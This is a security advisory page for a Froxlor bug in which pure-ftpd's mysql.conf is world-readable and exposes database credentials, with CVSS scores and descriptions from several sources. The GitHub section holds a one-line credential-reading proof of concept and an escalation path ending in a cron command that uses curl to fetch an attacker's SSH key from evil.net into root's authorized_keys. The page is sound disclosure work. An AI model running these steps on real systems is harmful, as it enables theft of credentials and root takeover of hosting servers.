8.4high
Froxlor before 2.2.0 Insecure File Permissions mysql.conf
- Severity
- 8.4high CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.10% (higher than 0% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-34qg-65m4-f23m
Description
Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| froxlor froxlor | before 2.2.0 Not affected: 2.2.0 | CVE List |
| froxlor/froxlor (Packagist) | before 2.2.0 | GitHub Advisory Database |
All scores
| VulnCheck | 8.4high CVSS:4.0 | CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N |
| VulnCheck | 7.3high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L |
| GitHub | 7.3high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.
GitHub Advisory Database
Summary
In Froxlor 2.1.9 and in the HEADs of the main, v2.2 and v2.1 branches , the XML templates in lib/configfiles/ set chmod 644 for /etc/pure-ftpd/db/mysql.conf, although that file contains <SQL_UNPRIVILEGED_PASSWORD>. At least on Debian 12, all parent directories of /etc/pure-ftpd/db/mysql.conf are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.
Details
https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075
PoC
As non-privileged user:
nobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf
MYSQLPassword MySecretMySQLPasswordForFroxlor
Impact
Any unprivileged user with "command/code execution" access to the system can trivially obtain the credentials granting access to the froxlor MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.
Side note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:
- Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.
- Log into Froxlor as that admin.
- Set the
Cron-daemon reload commandin/admin_settings.php?page=overview&part=crondto something likecurl -o /root/.ssh/authorized_keys evil.net. - Wait a few minutes until the relevant cronjob runs, then log in via SSH.
Please consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client: https://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html
NVD (es)
Froxlor antes de la versión 2.2.0 (afectado hasta la versión 2.2.0-rc3 incluida) genera /etc/pure-ftpd/db/mysql.conf con modo 0644 mediante las plantillas de configuración XML en lib/configfiles/, aunque el archivo contiene la contraseña del usuario SQL de Froxlor. En sistemas donde los directorios padre son legibles por todos (el valor predeterminado en Debian 12), cualquier usuario local sin privilegios que pueda ejecutar comandos o código en el host - incluidos los usuarios virtuales sin acceso SSH que pueden subir scripts PHP/CGI - puede leer el archivo y obtener las credenciales de la base de datos de Froxlor. El acceso a la base de datos puede entonces aprovecharse para alterar el hash de la contraseña de un administrador y la semilla TOTP, iniciar sesión como administrador de Froxlor y, en última instancia, obtener privilegios de root. Sólo las instancias configuradas para usar pure?ftpd se ven afectadas.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-58383 changed 2026-10-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-34qg-65m4-f23m changed 2026-09-15 | CC-BY-4.0 |
| NVD | CVE-2024-58383 changed 2026-10-27 | Public domain |